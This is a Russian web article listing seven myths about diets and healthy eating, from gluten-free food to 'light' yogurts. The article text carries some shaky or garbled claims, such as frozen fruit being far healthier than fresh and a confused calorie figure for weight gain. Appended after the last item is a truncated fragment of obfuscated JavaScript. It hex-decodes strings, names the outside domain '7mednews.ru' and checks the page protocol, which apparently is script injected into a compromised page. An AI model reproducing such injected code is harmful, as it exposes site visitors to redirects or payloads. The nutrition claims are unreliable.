Тема диет и правильного питания от начала и до конца увенчана множеством мифов, легенд и сомнений. Наверно пришло время все расставить на свои места.
1.Всему мера. Как только мы узнаем, что тот или иной продукт полезен, мы начинаем их употреблять в неограниченных порциях. Но это очень плохая идея. Так как, к примеру, авокадо, орехи или кокосовое масло принесет пользу и не отложиться в жировой прослойке, только при строгом контроле.
2.Самые здоровые диеты. Сейчас огромной популярностью пользуется веганская диета. Но принести реальную пользу твоему организму она сможет только в том случае если ваше питание сбалансированное и не требует дефицита питательных веществ. Так как если вы исключите из своего рациона молочные и мясные продукты, то не получите идеальной стройной фигуры и сияющей кожи.
3.Нет глютену. Если вы не страдаете от непереносимости глютена, тогда бояться не чего. Так как безглютеновая диета очень и очень не дешевая. Да такие и продукты, содержат очень мало клетчатки, железа, витамина В. В свою очередь они обеспечивают легкость организма, уменьшает вздутие живота.
4.Готовить или не готовить. Многие продукты после термической обработки теряют львиную долю всех полезных веществ. Но есть и такие овощи и фрукты, которые наоборот после варки, жарки обогащаются полезными веществами. Например, помидоры, после того как проведешь обработку, продукт обогащается ликопеном, который в свою очередь защищает организм от онкологических заболеваний.
5.Все должно быть свежим. Конечно же свежие продукты содержат максимум полезных веществ, но не все могут ими наслаждаться круглый год. Поэтому не бойтесь прибегать к альтернативному варианту – сушка, заморозка, консервирование. Фрукты и ягоды после замораживания даже намного полезней, чем свежие.
6.Срыв=набор. Многие из нас так увлекаются диетами, что вбили себе в голову много всякой чепухи. Например, если вы съедите кусочек колбасы или 1 конфету, автоматом наберете 3-5 кг. Но все не так трагично, чтобы набрать хотя бы 500 г нужно в день употреблять 3500 ккал. А это не так просто!
7. «light» продукты. Обезжиренные йогурты, молоко, творог и зерновые батончики сейчас очень популярны. Так как они якобы предназначены для здорового образа жизни. Но никакой пользы они не принося, даже напротив. В их составе содержаться огромное количество консервантов, искусственных подсластителей.
// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "7mednews.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e